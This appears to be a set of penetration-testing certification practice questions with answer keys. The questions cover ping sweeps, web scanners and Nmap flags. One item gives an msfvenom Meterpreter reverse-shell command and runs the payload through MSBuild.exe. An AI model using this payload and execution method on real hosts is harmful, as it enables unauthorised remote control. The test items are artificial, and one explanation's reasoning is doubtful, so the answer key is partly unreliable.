QUESTION: 13

[Attacks and Exploits]
A penetration tester wants to use the following Bash script to identify active servers on a network:

1 network_addr="192.168.1"
2 for h in {1..254}; do
3 ping -c 1 -W 1 $network_addr.$h > /dev/null
4 if [ $? -eq 0 ]; then
5 echo "Host $h is up"
6 else
7 echo "Host $h is down"
8 fi

9 done

Which of the following should the tester do to modify the script?

Change the condition on line 4.
Add 2>&1 at the end of line 3.
Use seq on the loop on line 2.
Replace $h with ${h} on line 3.

Answer(s): C

Explanation:

The provided Bash script is used to ping a range of IP addresses to identify active hosts in a network. Here's a detailed breakdown of the script and the necessary modification:
Original Script:
1 network_addr="192.168.1"
2 for h in {1..254}; do
3 ping -c 1 -W 1 $network_addr.$h > /dev/null
4 if [ $? -eq 0 ]; then
5 echo "Host $h is up"
6 else
7 echo "Host $h is down"
8 fi
9 done
Analysis:
Line 2: The loop uses {1..254} to iterate over the range of host addresses. However, this notation might not work in all shell environments, especially if not using bash directly or if the script runs in a different shell.
Using seq for Better Compatibility:
The seq command is a more compatible way to generate a sequence of numbers. It ensures the loop works in any POSIX-compliant shell.
Modified Line 2:
for h in $(seq 1 254); do
This change ensures broader compatibility and reliability of the script.

Modified Script:
1 network_addr="192.168.1"
2 for h in $(seq 1 254); do
3 ping -c 1 -W 1 $network_addr.$h > /dev/null
4 if [ $? -eq 0 ]; then
5 echo "Host $h is up"
6 else
7 echo "Host $h is down"
8 fi
9 done

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QUESTION: 14

[Tools and Code Analysis]
A penetration tester is attempting to discover vulnerabilities in a company's web application.
Which of the following tools would most likely assist with testing the security of the web application?

OpenVAS
Nessus
sqlmap
Nikto

Answer(s): D

Explanation:

When testing the security of a web application, specific tools are designed to uncover vulnerabilities and issues. Here's an overview of the tools mentioned and why Nikto is the most suitable for this task:
Nikto:
Purpose: Nikto is a web server scanner that performs comprehensive tests against web servers for multiple items, including potentially dangerous files/programs, outdated versions, and other security issues.
Relevance: It is designed specifically for discovering vulnerabilities in web applications, making it the most appropriate choice for a penetration tester targeting a web application.
Comparison with Other Tools:
OpenVAS: A general-purpose vulnerability scanner that targets a wide range of network services and hosts, not specifically tailored for web applications.
Nessus: Similar to OpenVAS, Nessus is a comprehensive vulnerability scanner but is broader in scope and not focused solely on web applications.
sqlmap: This tool is excellent for SQL injection testing but is limited to database vulnerabilities and doesn't cover the full spectrum of web application security issues.

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QUESTION: 15

[Information Gathering and Vulnerability Scanning]
A penetration tester needs to launch an Nmap scan to find the state of the port for both TCP and UDP

services.
Which of the following commands should the tester use?

nmap -sU -sW -p 1-65535 example.com
nmap -sU -sY -p 1-65535 example.com
nmap -sU -sT -p 1-65535 example.com
nmap -sU -sN -p 1-65535 example.com

Answer(s): C

Explanation:

To find the state of both TCP and UDP ports using Nmap, the appropriate command should combine both TCP and UDP scan options:
Understanding the Options:
-sU: Performs a UDP scan.
-sT: Performs a TCP connect scan.
Command
Command: nmap -sU -sT -p 1-65535 example.com
This command will scan both TCP and UDP ports from 1 to 65535 on the target example.com. Combining -sU and -sT ensures that both types of services are scanned.
Comparison with Other Options:
-sW: Initiates a TCP Window scan, not relevant for identifying the state of TCP and UDP services. -sY: Initiates a SCTP INIT scan, not relevant for this context. -sN: Initiates a TCP Null scan, which is not used for discovering UDP services.

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QUESTION: 16

[Attacks and Exploits]
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp

The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml.
Which of the following commands would most likely be used by the tester to continue with the attack on the host?

regsvr32 /s /n /u C:\evil.xml
MSBuild.exe C:\evil.xml
mshta.exe C:\evil.xml
AppInstaller.exe C:\evil.xml

Answer(s): B

Explanation:

The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:
Understanding MSBuild.exe:
Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It's commonly used to build .NET applications and can also execute code embedded in project files.
Command Usage:
Command: MSBuild.exe C:\evil.xml
This command tells MSBuild to process the evil.xml file, which contains the C# shellcode. MSBuild will compile and execute the code, leading to the payload execution.
Comparison with Other Commands:

regsvr32 /s /n /u C:\evil.xml: Used to register or unregister DLLs, not suitable for executing C# code. mshta.exe C:\evil.xml: Used to execute HTML applications (HTA files), not suitable for XML containing C# code.
AppInstaller.exe C:\evil.xml: Used to install AppX packages, not relevant for executing C# code embedded in an XML file.
Using MSBuild.exe is the most appropriate method to execute the payload embedded in the XML file created by msfvenom.

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QUESTION: 13

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QUESTION: 15

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